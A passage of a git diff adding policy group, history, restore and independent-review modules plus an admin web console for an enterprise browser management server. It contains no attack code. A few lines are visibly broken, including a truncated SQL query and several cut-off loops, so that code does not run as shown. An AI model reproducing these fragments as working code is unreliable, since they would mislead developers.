res.json({policy,groups:policy.assignment.groups,diff:policyDiff(baseline,policy),currentDiff:policyDiff(store.effectivePolicy(b.deviceId),policy)}); + }); + app.put('/api/admin/policy-groups/:id',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),group:PolicyGroupSchema}).strict().parse(req.body); + if(b.group.id!==req.params.id)return res.status(400).json({error:'Group ID does not match route'}); + const p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.version++;publisher.submit(req,res,p,'policy.group-published',{type:'group-upsert',group:b.group}); + }); + app.delete('/api/admin/policy-groups/:id',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive()}).strict().parse(req.body),p=store.get('policy'); + if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.version++;publisher.submit(req,res,p,'policy.group-deleted',{type:'group-delete',groupId:req.params.id}); + }); +} diff --git a/apps/server/policy-history.mjs b/apps/server/policy-history.mjs new file mode 100644 index 0000000..0b24421 --- /dev/null +++ b/apps/server/policy-history.mjs @@ -0,0 +1,60 @@ +import {z} from 'zod'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {globalBookmarksValid} from './bookmarks.mjs'; + +const version=z.coerce.number().int().positive().max(Number.MAX_SAFE_INTEGER); +function snapshot(store,id){ + const row=store.db.prepare('SELECT version,time,actor,policy FROM policies WHERE version=?').get(id); + if(!row)return null; + const policy=PolicySchema.parse(JSON.parse(row.policy)); + // Global history never carries device personal collections, even from old stores. + policy.browser.bookmarks.personal={revision:0,items:[]}; + const groupsRow=store.db.prepare('SELECT groups FROM policy_group_history WHERE version=?').get(id); + const profilesRow=store.db.prepare('SELECT configuration FROM user_profile_history WHERE version=?').get(id); + return {...row,policy,userProfiles:profilesRow?JSON.parse(profilesRow.configuration):null,groups:groupsRow?JSON.parse(groupsRow.groups):[],groupHistoryAvailable:!!groupsRow}; +} +export function policyDiff(before,after,max=500){ + const changes=[];let truncated=false; + function walk(a,b,path){ + if(JSON.stringify(a)===JSON.stringify(b))return; + if(a&&b&&typeof a==='object'&&typeof b==='object'&&!Array.isArray(a)&&!Array.isArray(b)){ + for(const key of [...new Set([...Object.keys(a),...Object.keys(b)])].sort())walk(a[key],b[key],`${path}/${key.replaceAll('~','~0').replaceAll('/','~1')}`); + return; + } + if(changes.length>=max){truncated=true;return;} + changes.push({path,kind:a===undefined?'added':b===undefined?'removed':'changed',...(a===undefined?{}:{before:a}),...(b===undefined?{}:{after:b})}); + } + walk(before,after,'');return {changes,truncated}; +} +export function installPolicyHistory(app,store,publisher){ + app.get('/api/admin/policy/history',(req,res)=>{ + const query=z.object({before:version.optional(),limit:z.coerce.number().int().min(1).max(100).default(20)}).strict().parse(req.query); + const currentVersion=store.getRaw('policy').version; + const rows=store.db.prepare('SELECT version,time,actor FROM policies WHERE versionquery.limit,versions=rows.slice(0,query.limit).map(row=>({...row,current:row.version===currentVersion})); + res.json({currentVersion,versions,nextBefore:more?versions.at(-1).version:null}); + }); + app.get('/api/admin/policy/history/:version',(req,res)=>{ + const item=snapshot(store,version.parse(req.params.version)); + if(!item)return res.status(404).json({error:'Policy version not found'}); + res.json(item); + }); + app.get('/api/admin/policy/diff',(req,res)=>{ + const query=z.object({from:version,to:version}).strict().parse(req.query); + const from=snapshot(store,query.from),to=snapshot(store,query.to); + if(!from||!to)return res.status(404).json({error:'Policy version not found'}); + res.json({...query,...policyDiff(from.policy,to.policy),groupDiff:policyDiff(from.groups,to.groups),profileDiff:policyDiff(from.userProfiles,to.userProfiles)}); + }); + app.post('/api/admin/policy/restore',(req,res)=>{ + const body=z.object({sourceVersion:version,expectedVersion:version,approve:z.literal(true)}).strict().parse(req.body); + const current=store.getRaw('policy'); + if(current.version!==body.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const source=snapshot(store,body.sourceVersion); + if(!source)return res.status(404).json({error:'Policy version not found'}); + const policy=PolicySchema.parse({...source.policy,version:current.version+1,expiresAt:new Date(Date.now()+7*86400000).toISOString()}); + if(!globalBookmarksValid(store,policy))return res.status(409).json({error:'Historical company bookmark IDs conflict with current personal bookmarks'}); + if(!source.groupHistoryAvailable&&(store.getRaw('policyGroups')||[]).length)return res.status(409).json({error:'Historical group assignment snapshot unavailable; review group changes explicitly'}); + if(!source.userProfiles&&(store.getRaw('userProfiles')?.profiles?.length||store.getRaw('userProfiles')?.categories?.length))return res.status(409).json({error:'Historical user profile snapshot unavailable'}); + publisher.submit(req,res,policy,'policy.restored',{type:'group-restore',sourceVersion:body.sourceVersion,groups:source.groups,configuration:source.userProfiles||{profiles:[],categories:[]}},{sourceVersion:body.sourceVersion,expiresAt:policy.expiresAt}); + }); +} diff --git a/apps/server/policy-review.mjs b/apps/server/policy-review.mjs new file mode 100644 index 0000000..fee3194 --- /dev/null +++ b/apps/server/policy-review.mjs @@ -0,0 +1,72 @@ +import {profilesForOperation,validateProfiles} from './user-profiles.mjs'; +import {randomUUID} from 'node:crypto'; +import {z} from 'zod'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {digest} from './store.mjs'; +import {globalBookmarksValid} from './bookmarks.mjs'; +import {policyDiff} from './policy-history.mjs'; +import {groupsForOperation,validateGroupConfiguration} from './policy-groups.mjs'; + +export function policyPublisher(app,store,config){ + store.db.exec(`CREATE TABLE IF NOT EXISTS policy_reviews(id TEXT PRIMARY KEY,time TEXT NOT NULL,author TEXT NOT NULL,expected_version INTEGER NOT NULL,payload_hash TEXT NOT NULL,policy TEXT NOT NULL,kind TEXT NOT NULL,operation TEXT NOT NULL,status TEXT NOT NULL,reviewer TEXT,reviewed_at TEXT,published_version INTEGER)`); + function validate(policy,expected,operation={}){ + const p=PolicySchema.parse(policy); + if(store.getRaw('policy').version!==expected||p.version!==expected+1)throw Object.assign(Error('Policy version conflict'),{status:409}); + if(!globalBookmarksValid(store,p))throw Object.assign(Error('Company bookmark IDs conflict with personal bookmarks'),{status:409}); + if(Date.parse(p.expiresAt)<=Date.now()||Date.parse(p.expiresAt)>Date.now()+30*86400000)throw Object.assign(Error('Policy expiry must be within the next 30 days'),{status:400}); + validateGroupConfiguration(store,p,groupsForOperation(store,operation),operation); + validateProfiles(store,p,operation,groupsForOperation(store,operation)); + return p; + } + function apply(p,actor,kind,operation){ + if(operation.type?.startsWith('profile-')||operation.configuration)store.put('userProfiles',profilesForOperation(store,operation.configuration?{type:'profile-restore',configuration:operation.configuration}:operation)); + if(['group-upsert','group-delete','group-restore'].includes(operation.type))store.put('policyGroups',groupsForOperation(store,operation)); + if(operation.type==='inspection'){ + if(!store.db.prepare('UPDATE devices SET document_analysis_enabled=? WHERE id=? AND revoked=0').run(operation.enabled?1:0,operation.deviceId).changes)throw Object.assign(Error('Active device not found'),{status:409}); + store.event(operation.deviceId,'inspection.setting-changed',{actor,version:p.version,documentAnalysisEnabled:operation.enabled}); + } + if(operation.type==='teaching'){ + if(!store.db.prepare("UPDATE teaching SET status='published',reviewer=?,policy_version=? WHERE id=? AND status='draft'").run(actor,p.version,operation.id).changes)throw Object.assign(Error('Teaching draft no longer available'),{status:409}); + store.event(null,'teaching.approved',{actor,referenceId:operation.id,version:p.version,coverage:operation.coverage,mode:operation.mode}); + } + store.put('policy',p);store.db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(p.version,new Date().toISOString(),actor,JSON.stringify(p)); + store.db.prepare('INSERT INTO policy_group_history(version,groups) VALUES(?,?)').run(p.version,JSON.stringify(store.getRaw('policyGroups')||[])); + store.db.prepare('INSERT INTO user_profile_history(version,configuration) VALUES(?,?)').run(p.version,JSON.stringify(store.getRaw('userProfiles')||{profiles:[],categories:[]})); + store.event(null,kind,{actor,version:p.version,...(operation.sourceVersion?{sourceVersion:operation.sourceVersion}:{}),...(operation.type==='group-upsert'?{groupId:operation.group.id,stage:operation.group.rollout.stage,count:operation.group.memberDeviceIds.length}:{}),...(operation.type==='group-delete'?{groupId:operation.groupId}:{})}); + } + function prepare(p,author,kind='policy.published',operation={}){ + p=validate(p,p.version-1,operation);const id=randomUUID(),payloadHash=digest(JSON.stringify({policy:p,kind,operation})),expectedVersion=p.version-1; + if(store.db.prepare("SELECT COUNT(*) AS count FROM policy_reviews WHERE status='pending' AND expected_version=?").get(expectedVersion).count>=1000)throw Object.assign(Error('Pending policy review limit reached'),{status:409}); + store.db.exec('BEGIN IMMEDIATE');try{ + store.db.prepare('INSERT INTO policy_reviews(id,time,author,expected_version,payload_hash,policy,kind,operation,status) VALUES(?,?,?,?,?,?,?,?,?)').run(id,new Date().toISOString(),author,expectedVersion,payloadHash,JSON.stringify(p),kind,JSON.stringify(operation),'pending'); + store.event(null,'policy.review-requested',{actor:author,reviewId:id,version:expectedVersion,payloadHash});store.db.exec('COMMIT'); + }catch(e){store.db.exec('ROLLBACK');throw e;} + return {reviewRequired:true,reviewId:id,status:'pending',expectedVersion,payloadHash}; + } + function submit(req,res,p,kind='policy.published',operation={},extra={}){ + if(config.requireIndependentPolicyApproval)return res.status(202).json(prepare(p,req.principal.sub,kind,operation)); + store.db.exec('BEGIN IMMEDIATE');try{p=validate(p,p.version-1,operation);apply(p,req.principal.sub,kind,operation);store.db.exec('COMMIT');}catch(e){store.db.exec('ROLLBACK');throw e;} + return res.json({ok:true,version:p.version,...extra}); + } + const view=row=>({id:row.id,time:row.time,author:row.author,expectedVersion:row.expected_version,payloadHash:row.payload_hash,kind:row.kind,status:row.status==='pending'&&row.expected_version!==store.getRaw('policy').version?'stale':row.status,reviewer:row.reviewer,reviewedAt:row.reviewed_at,publishedVersion:row.published_version}); + app.get('/api/admin/policy-reviews',(_req,res)=>res.json({requireIndependentPolicyApproval:!!config.requireIndependentPolicyApproval,reviews:store.db.prepare('SELECT * FROM policy_reviews ORDER BY time DESC LIMIT 100').all().map(view)})); + app.get('/api/admin/policy-reviews/:id',(req,res)=>{const row=store.db.prepare('SELECT * FROM policy_reviews WHERE id=?').get(req.params.id);if(!row)return res.status(404).json({error:'Policy review not found'});const policy=PolicySchema.parse(JSON.parse(row.policy));res.json({...view(row),policy,operation:JSON.parse(row.operation),diff:policyDiff(store.get('policy'),policy)});}); + app.post('/api/admin/policy-reviews',(req,res)=>{const b=z.object({policy:PolicySchema}).strict().parse(req.body);res.status(202).json(prepare(b.policy,req.principal.sub));}); + for(const action of ['approve','reject'])app.post(`/api/admin/policy-reviews/:id/${action}`,(req,res)=>{ + const b=(action==='approve'?z.object({payloadHash:z.string().regex(/^[a-f0-9]{64}$/),expectedVersion:z.number().int().positive(),approve:z.literal(true)}):z.object({payloadHash:z.string().regex(/^[a-f0-9]{64}$/),reject:z.literal(true)})).strict().parse(req.body); + store.db.exec('BEGIN IMMEDIATE');try{ + const row=store.db.prepare('SELECT * FROM policy_reviews WHERE id=?').get(req.params.id); + if(!row)throw Object.assign(Error('Policy review not found'),{status:404}); + if(row.author===req.principal.sub)throw Object.assign(Error('Independent administrator required'),{status:403}); + if(row.status!=='pending'||b.payloadHash!==row.payload_hash)throw Object.assign(Error('Policy review conflict'),{status:409}); + const operation=JSON.parse(row.operation),policy=PolicySchema.parse(JSON.parse(row.policy)); + if(digest(JSON.stringify({policy,kind:row.kind,operation}))!==row.payload_hash)throw Object.assign(Error('Policy review integrity conflict'),{status:409}); + if(action==='approve'){if(b.expectedVersion!==row.expected_version)throw Object.assign(Error('Policy version conflict'),{status:409});validate(policy,row.expected_version,operation);apply(policy,req.principal.sub,row.kind,operation);} + const status=action==='approve'?'approved':'rejected'; + store.db.prepare('UPDATE policy_reviews SET status=?,reviewer=?,reviewed_at=?,published_version=? WHERE id=?').run(status,req.principal.sub,new Date().toISOString(),action==='approve'?policy.version:null,row.id); + store.event(null,`policy.review-${status}`,{actor:req.principal.sub,author:row.author,reviewId:row.id,payloadHash:row.payload_hash,version:action==='approve'?policy.version:row.expected_version}); + store.db.exec('COMMIT');res.json({ok:true,id:row.id,status,...(action==='approve'?{version:policy.version}:{})}); + }catch(e){store.db.exec('ROLLBACK');res.status(e.status||400).json({error:e.message});} + }); + return {submit}; +} diff --git a/apps/server/public/admin.js b/apps/server/public/admin.js new file mode 100644 index 0000000..0373665 --- /dev/null +++ b/apps/server/public/admin.js @@ -0,0 +1,372 @@ +const $=id=>document.getElementById(id); + +let publishedSnapshot,operatorPermissions=null,currentPrincipal,independentApprovalRequired=false,selectedIndependentReview=null; + +let credential='',policy,presetPreview,managedBookmarks=[],personalBookmarks=[],bookmarkRevision,bookmarkDeviceId=''; + +const managedSections=['appearance','library','ai','passwords','documentScan','agents']; + +const agentScopes=['sessions','navigate','read','click','type','screenshot','ai','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + +function status(message,error=false){$('status').textContent=message;$('status').className=error?'error':'';} + +async function api(path,body,method=body?'POST':'GET'){ + + const headers={};if(credential)headers.authorization=`Bearer ${credential}`;if(body)headers['content-type']='application/json'; + + const r=await fetch(path,{method,headers,body:body?JSON.stringify(body):undefined});const data=await r.json();if(!r.ok)throw Error(data.error+(data.issues?': '+data.issues.map(v=>`${v.path}: ${v.message}`).join('; '):''));return data; + +} + +function task(fn){return async()=>{try{await fn();}catch(e){status(e.message,true);}finally{if(currentPrincipal)applyOperatorPermissions(currentPrincipal);updateDraftStatus();}};} + +function cell(row,value){const td=document.createElement('td');td.textContent=String(value??'—');row.append(td);return td;} + +function lines(id){return $(id).value.split('\n').map(v=>v.trim()).filter(Boolean);} + +function fill(p){ + + const bookmarks=p.browser.bookmarks||{managed:[],allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,adminReadUserBookmarks:false};managedBookmarks=structuredClone(bookmarks.managed);for(const [id,key] of bookmarkPermissions)$(id).checked=bookmarks[key];renderBookmarkRows('managed-bookmark-rows',managedBookmarks);clearDeviceBookmarks(); + + $('visual-enabled').checked=p.security.visualPhishing.enabled; + + const e=p.enterprise;$('enterprise-dns-mode').value=e.dns.mode;$('enterprise-dns-templates').value=e.dns.templates.join('\n');$('enterprise-vpn-required').checked=e.vpn.required;$('enterprise-vpn-interfaces').value=e.vpn.interfaceNames.join('\n');$('enterprise-vpn-dns').value=e.vpn.requiredDnsServers.join('\n');$('enterprise-icap-enabled').checked=e.icap.enabled;$('enterprise-icap-url').value=e.icap.url;$('enterprise-icap-method').value=e.icap.method;$('enterprise-icap-timeout').value=e.icap.timeoutMs;$('enterprise-icap-max').value=e.icap.maxBytes;for(const [id,key] of [['uploads','scanUploads'],['downloads','scanDownloads'],['clipboard','scanClipboard'],['ai','scanAI'],['insecure','allowInsecureTransport']])$(`enterprise-icap-${id}`).checked=e.icap[key];presetPreview=null;$('preset-apply').disabled=true;$('preset-description').textContent='';$('preset-changes').replaceChildren(); + + const settings=p.browser.settings||{visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}}; + + $('settings-visible').checked=settings.visible;for(const section of managedSections){$(`settings-hide-${section}`).checked=settings.hiddenSections.includes(section);$(`settings-lock-${section}`).checked=settings.lockedSections.includes(section);} + + $('settings-theme').value=settings.appearance.mode;$('settings-accent').value=settings.appearance.accent;$('settings-tabs').value=settings.appearance.tabMode; + + $('security-json').value=JSON.stringify(p.security,null,2);$('agents-json').value=JSON.stringify(p.agents,null,2);$('ai-provider').value=p.ai.provider;$('ai-trust').value=p.ai.trustMode;$('ai-endpoint').value=p.ai.endpointId; + + fillSecurityControls(p.security,p.agents); + + $('ai-confidential-local').checked=p.ai.allowConfidentialLocal; + + $('vault-enabled').checked=p.passwordManager.enabled;$('vault-saving').checked=p.passwordManager.allowSaving;$('vault-autofill').checked=p.passwordManager.allowAutofill;$('vault-idle').value=p.passwordManager.idleLockSeconds; + + for(const [id,key] of [['clipboard-enabled','enabled'],['clipboard-copy','allowCopy'],['clipboard-cut','allowCut'],['clipboard-paste','allowPaste'],['clipboard-command','blockSuspiciousCommands']])$(id).checked=p.security.clipboard[key];$('clipboard-max').value=p.security.clipboard.maxTextBytes; + + $('brand-name').value=p.brand.name;$('brand-color').value=p.brand.color;$('home-url').value=p.browser.homeUrl; + + $('allowed-hosts').value=p.browser.allowedHosts.join('\n');$('blocked-hosts').value=p.browser.blockedHosts.join('\n'); + + $('proxy-mode').value=p.proxy.mode;$('proxy-value').value=p.proxy.rules||p.proxy.pacUrl||'';$('proxy-bypass').value=p.proxy.bypass||''; + + const date=new Date(p.expiresAt);$('expiry').value=new Date(date.getTime()-date.getTimezoneOffset()*60000).toISOString().slice(0,16); + + $('downloads').checked=p.browser.allowDownloads;$('devtools').checked=p.browser.allowDevTools;$('websockets').checked=p.browser.allowWebSockets; + + $('ai-enabled').checked=p.ai.enabled;$('ai-model').value=p.ai.model;$('max-bytes').value=p.dlp.maxBytes;$('semantic-enabled').checked=p.dlp.semantic.enabled;renderRules();renderSemantic(); + +} + +function draft(){ + + const p=structuredClone(policy);p.version+=1;p.expiresAt=new Date($('expiry').value).toISOString(); + + p.enterprise={dns:{mode:$('enterprise-dns-mode').value,templates:lines('enterprise-dns-templates')},vpn:{required:$('enterprise-vpn-required').checked,interfaceNames:lines('enterprise-vpn-interfaces'),requiredDnsServers:lines('enterprise-vpn-dns')},icap:{enabled:$('enterprise-icap-enabled').checked,url:$('enterprise-icap-url').value.trim(),method:$('enterprise-icap-method').value,allow204:true,allowInsecureTransport:$('enterprise-icap-insecure').checked,scanUploads:$('enterprise-icap-uploads').checked,scanDownloads:$('enterprise-icap-downloads').checked,scanClipboard:$('enterprise-icap-clipboard').checked,scanAI:$('enterprise-icap-ai').checked,timeoutMs:Number($('enterprise-icap-timeout').value),maxBytes:Number($('enterprise-icap-max').value),failClosed:true}}; + + p.passwordManager={enabled:$('vault-enabled').checked,allowSaving:$('vault-saving').checked,allowAutofill:$('vault-autofill').checked,idleLockSeconds:Number($('vault-idle').value)}; + + p.brand={name:$('brand-name').value,color:$('brand-color').value}; + + p.browser={homeUrl:$('home-url').value,allowedHosts:lines('allowed-hosts'),blockedHosts:lines('blocked-hosts'),allowDownloads:$('downloads').checked,allowDevTools:$('devtools').checked,allowWebSockets:$('websockets').checked}; + + p.browser.settings={visible:$('settings-visible').checked,hiddenSections:managedSections.filter(section=>$(`settings-hide-${section}`).checked),lockedSections:managedSections.filter(section=>$(`settings-lock-${section}`).checked),appearance:{mode:$('settings-theme').value,accent:$('settings-accent').value,tabMode:$('settings-tabs').value}}; + + p.browser.bookmarks={managed:structuredClone(managedBookmarks),personal:structuredClone(policy.browser.bookmarks.personal)};for(const [id,key] of bookmarkPermissions)p.browser.bookmarks[key]=$(id).checked; + + const mode=$('proxy-mode').value;p.proxy={mode};if(mode==='fixed_servers'){p.proxy.rules=$('proxy-value').value;p.proxy.bypass=$('proxy-bypass').value;}if(mode==='pac_script')p.proxy.pacUrl=$('proxy-value').value; + + p.security=JSON.parse($('security-json').value);p.security.clipboard={enabled:$('clipboard-enabled').checked,allowCopy:$('clipboard-copy').checked,allowCut:$('clipboard-cut').checked,allowPaste:$('clipboard-paste').checked,blockSuspiciousCommands:$('clipboard-command').checked,failClosed:true,maxTextBytes:Number($('clipboard-max').value)}; + + p.security.visualPhishing.enabled=$('visual-enabled').checked; + + p.security.dns={...p.security.dns,enabled:$('security-dns-enabled').checked,blockedHosts:lines('security-dns-hosts'),blockedIPs:lines('security-dns-ips'),failClosed:true};p.security.content.blockedPhrases=lines('security-content-phrases');p.security.yara.enabled=$('security-yara-enabled').checked;p.security.yara.maxScanBytes=Number($('security-yara-max').value); + + p.agents={enabled:$('agent-enabled').checked,scopes:agentScopes.filter(scope=>$(`agent-scope-${scope}`).checked),allowedHosts:lines('agent-hosts'),allowSensitiveRead:$('agent-sensitive').checked};p.ai={enabled:$('ai-enabled').checked,model:$('ai-model').value,provider:$('ai-provider').value,trustMode:$('ai-trust').value,endpointId:$('ai-endpoint').value,allowConfidentialLocal:$('ai-confidential-local').checked};p.dlp.maxBytes=Number($('max-bytes').value);p.dlp.semantic.enabled=$('semantic-enabled').checked;return p; + +} + +function renderRules(){ + + $('rules').replaceChildren();for(const rule of policy.dlp.rules){const div=document.createElement('div');div.className='rule';const text=document.createElement('span');text.textContent=`${rule.label} · ${rule.kind} · ${rule.value}`;const button=document.createElement('button');button.className='secondary';button.textContent='Remove';button.onclick=()=>{policy.dlp.rules=policy.dlp.rules.filter(r=>r.id!==rule.id);renderRules();};div.append(text,button);$('rules').append(div);} + +} + +async function load(){ + + const data=await api('/api/admin/overview');clearHistoryReview();independentApprovalRequired=data.governance?.requireIndependentPolicyApproval===true;clearIndependentReview();policy=data.policy;publishedSnapshot=structuredClone(policy);fill(policy);applyOperatorPermissions(data.principal);renderPosture(policy);updateDraftStatus();$('workspace').hidden=false;$('login').hidden=true;$('admin-logout').hidden=false; + + $('identity').textContent=`${data.principal.sub} · ${data.principal.role||'administrator'}`;$('device-count').textContent=data.devices.length;$('policy-version').textContent=`v${policy.version}`;$('block-count').textContent=data.events.filter(e=>e.kind.includes('block')||e.metadata.decision==='block').length;$('ai-status').textContent=policy.ai.enabled?'Enabled':'Off'; + + $('bookmark-device').replaceChildren();for(const d of data.devices.filter(d=>!d.revoked)){const option=document.createElement('option');option.value=d.id;option.textContent=`${d.name} · ${d.user}`;$('bookmark-device').append(option);} + + $('device-rows').replaceChildren();for(const d of data.devices){const row=document.createElement('tr');row.dataset.access=d.revoked?'revoked':'active';cell(row,d.name);cell(row,d.platform);cell(row,d.user);cell(row,d.policy_version);cell(row,new Date(d.last_seen).toLocaleString());const action=cell(row,d.revoked?'Revoked':'');if(!d.revoked){const b=document.createElement('button');b.className='danger';b.textContent='Revoke';b.onclick=task(async()=>{await api(`/api/admin/devices/${encodeURIComponent(d.id)}/revoke`,{});await load();status('Device revoked. Client access stops at its next management refresh.');});action.append(b);const scan=document.createElement('button');scan.className='secondary';scan.textContent=d.documentAnalysisEnabled?'Disable manual document scans':'Enable manual document scans';scan.onclick=task(async()=>{const result=await api(`/api/admin/devices/${encodeURIComponent(d.id)}/inspection`,{expectedVersion:policy.version,documentAnalysisEnabled:!d.documentAnalysisEnabled},'PATCH');await load();policyMutationStatus(result,'Device document analysis setting published. Mandatory DLP and YARA remain enforced.');});action.append(scan);}$('device-rows').append(row);} + + $('event-rows').replaceChildren();for(const e of data.events){const row=document.createElement('tr');row.dataset.decision=e.metadata.decision|| (e.kind.includes('block')?'block':'');cell(row,new Date(e.time).toLocaleString());cell(row,e.kind);cell(row,e.device_id?.slice(0,8)||'Control plane');const metadataCell=cell(row,JSON.stringify(e.metadata));const triage=document.createElement('button');triage.className='secondary';triage.textContent='Create incident';triage.dataset.incidentCreate='true';triage.hidden=e.kind.startsWith('incident.');triage.onclick=task(async()=>{const created=await api('/api/admin/incidents',{eventId:Number(e.id),severity:'medium'});await loadIncidents();await openIncident(created.incident?.id||created.id);$('incidents').scrollIntoView({behavior:'smooth'});status('Incident created for investigation.');});metadataCell.append(triage);$('event-rows').append(row);} + + filterTable('device');filterTable('event');await loadTeaching();await loadIndependentReviews();await loadPolicyGroups();await loadUserProfiles();await loadIncidents();status(data.migrationRequired?'Legacy semantic policy remains blocked. Recreate references with the approved local model and explicitly publish a replacement policy.':'Connected. Policy and fleet loaded.',data.migrationRequired); + + renderReadiness((await api('/api/admin/integrations')).readiness); + + const retention=data.auditRetention||{enabled:false};$('audit-retention-status').textContent=retention.enabled?`${retention.days} days · exported, unreferenced database events only${retention.lastRun?.at?' · last run '+new Date(retention.lastRun.at).toLocaleString():''}${retention.lastFailure?' · last attempt failed at '+new Date(retention.lastFailure).toLocaleString():''}`:'Automatic database event deletion is disabled.';applyOperatorPermissions(data.principal);if(data.siem)$('siem-status').textContent=`SIEM ${data.siem.configured?'HTTPS push':'local durable export'} · ${data.siem.format.toUpperCase()} · ${data.siem.pending} pending · ${data.siem.failures} consecutive delivery failures`; + +} + +$('connect').onclick=task(async()=>{credential=$('token').value;$('token').value='';await load();}); + +$('refresh').onclick=task(load); + +$('publish').onclick=task(async()=>{const result=await api('/api/admin/policy',draft(),'PUT');await load();policyMutationStatus(result,`Signed policy v${result.version} published.`);}); + +$('channel-key-download').onclick=task(async()=>{const channel=await api('/api/admin/management-channel');const link=document.createElement('a'),url=URL.createObjectURL(new Blob([channel.signatureKey],{type:'application/x-pem-file'}));link.href=url;link.download='safetynet-management-mldsa87-public.pem';link.click();setTimeout(()=>URL.revokeObjectURL(url),1000);status('Public management signing key downloaded. Deploy through your trusted device-management channel.');}); + +$('add-rule').onclick=task(async()=>{const label=$('rule-label').value.trim(),value=$('rule-value').value.trim();if(!label||!value)throw Error('Enter a rule name and phrase');policy.dlp.rules.push({id:crypto.randomUUID(),label,kind:'literal',value,action:'block'});renderRules();$('rule-value').value='';status('Rule added to draft. Publish to apply it.');}); + +$('fingerprint').onchange=task(async()=>{const file=$('fingerprint').files[0];if(!file)return;if(file.size>20*1024*1024)throw Error('Fingerprint input limit is 20 MB');const hash=await crypto.subtle.digest('SHA-256',await file.arrayBuffer());const value=Array.from(new Uint8Array(hash),b=>b.toString(16).padStart(2,'0')).join('');policy.dlp.rules.push({id:crypto.randomUUID(),label:file.name,kind:'sha256',value,action:'block'});renderRules();$('fingerprint').value='';status('Fingerprint added to draft. Publish to apply it.');}); + +$('test').onclick=task(async()=>{$('test-result').textContent=JSON.stringify(await api('/api/admin/policy/test',{text:$('test-text').value,policy:draft()}),null,2);}); + +$('enroll').onclick=task(async()=>{const result=await api('/api/admin/enrollments',{user:$('enroll-user').value});$('enrollment').textContent=`One-use code (expires in 10 minutes):\n${result.code}`;}); + +function renderSemantic(){ + + $('semantic-rules').replaceChildren();for(const r of policy.dlp.semantic.categories){const div=document.createElement('div');div.className='rule';const text=document.createElement('span');text.textContent=`${r.label} · threshold ${r.threshold}`;const button=document.createElement('button');button.className='secondary';button.textContent='Remove';button.onclick=()=>{policy.dlp.semantic.categories=policy.dlp.semantic.categories.filter(v=>v.id!==r.id);renderSemantic();};div.append(text,button);$('semantic-rules').append(div);} + +} + +function addSemanticReference(reference,label,threshold){ + + if(policy.dlp.semantic.categories.length&&['revision','model','profile','artifactFormat','quantization','runtimeRevision'].some(key=>policy.dlp.semantic[key]!==reference[key]))throw Error('Model revision or profile changed; recreate existing references before publishing'); + + for(const key of ['model','revision','dimensions','profile','artifactFormat','quantization','runtimeRevision'])policy.dlp.semantic[key]=reference[key];policy.dlp.semantic.categories.push({id:crypto.randomUUID(),label,threshold,prototype:reference.vector,prototypes:reference.vectors});renderSemantic();status(`Local semantic reference added (${reference.coverage.textChunks} chunks, ${reference.dimensions} dimensions). Calibrate and explicitly publish to apply.`); + +} + +$('semantic-add').onclick=task(async()=>{ + + const label=$('semantic-label').value.trim(),threshold=Number($('semantic-threshold').value);if(!label||threshold<=0||threshold>1)throw Error('Enter a category name and a threshold greater than 0 and at most 1'); + + const reference=await api('/api/admin/semantic/reference',{description:$('semantic-description').value}); + + addSemanticReference(reference,label,threshold); + +}); + +$('semantic-document-add').onclick=task(async()=>{ + + const file=$('semantic-document').files[0],label=$('semantic-label').value.trim(),threshold=Number($('semantic-threshold').value);if(!file||file.size>1048576)throw Error('Choose a local reference document up to 1 MiB');if(!label||threshold<=0||threshold>1)throw Error('Enter a category name and threshold greater than 0 and at most 1');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;n{ + + const r=await fetch(`/api/admin/events/export?format=${format}&limit=1000`,{headers:credential?{authorization:`Bearer ${credential}`}:{}});if(!r.ok)throw Error('Export failed'); + + const url=URL.createObjectURL(await r.blob()),a=document.createElement('a');a.href=url;a.download=`safetynet-security.${format==='ecs'?'ndjson':'cef'}`;a.click();setTimeout(()=>URL.revokeObjectURL(url),1000); + +}); + +fetch('/api/auth/status').then(r=>r.json()).then(data=>{$('sso').hidden=!data.sso;$('token').hidden=data.bootstrapAllowed===false;$('connect').hidden=data.bootstrapAllowed===false;}); + +load().catch(()=>status('Sign in to manage your browser fleet.')); + +async function loadTeaching(){ + + const data=await api('/api/admin/teaching');$('teach-drafts').replaceChildren();for(const d of data.drafts){const row=document.createElement('div');row.className='rule';const label=document.createElement('span');label.textContent=`${d.label} · ${d.status} · ${d.reference.registrationReady?'inspection complete':'partial coverage: unextracted media is not fingerprinted'}`;row.append(label);if(d.status==='draft'){const button=document.createElement('button');button.textContent=independentApprovalRequired?(d.reference.registrationReady?'Prepare fingerprints for independent approval':'Prepare available fingerprints (partial coverage)'):(d.reference.registrationReady?'Approve and publish fingerprints':'Approve available fingerprints (partial coverage)');button.onclick=task(async()=>{const result=await api(`/api/admin/teaching/${encodeURIComponent(d.id)}/publish`,{expectedVersion:policy.version,approve:true,mode:d.reference.registrationReady?'complete':'available-fingerprints'});await load();policyMutationStatus(result,`Reference approved and signed policy published; coverage ${result.coverage}.`);});row.append(button);}$('teach-drafts').append(row);} + +} + +$('teach-submit').onclick=task(async()=>{const file=$('teach-file').files[0];if(!file||file.size>1024*1024)throw Error('Choose a reference file up to 1 MB');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;n{ + + const file=$('visual-image').files[0];if(!file||file.size>1024*1024)throw Error('Choose a trusted PNG reference up to 1 MB');const bytes=new Uint8Array(await file.arrayBuffer());let raw='';for(let n=0;nb.id===result.brand.id);if(current){if(current.references.length>=20)throw Error('Each brand supports at most 20 references');current.references.push(result.brand.references[0]);}else brands.push(result.brand);$('security-json').value=JSON.stringify(security,null,2);$('visual-image').value='';status(result.warning); + +}); + + + + + +function renderReadiness(rows){$('integration-readiness').replaceChildren();for(const r of rows){const item=document.createElement('div');item.className='integration-item';const title=document.createElement('strong');title.textContent=`${r.label} · ${r.state}`;const detail=document.createElement('p');detail.textContent=r.detail;item.append(title,detail);$('integration-readiness').append(item);}} + 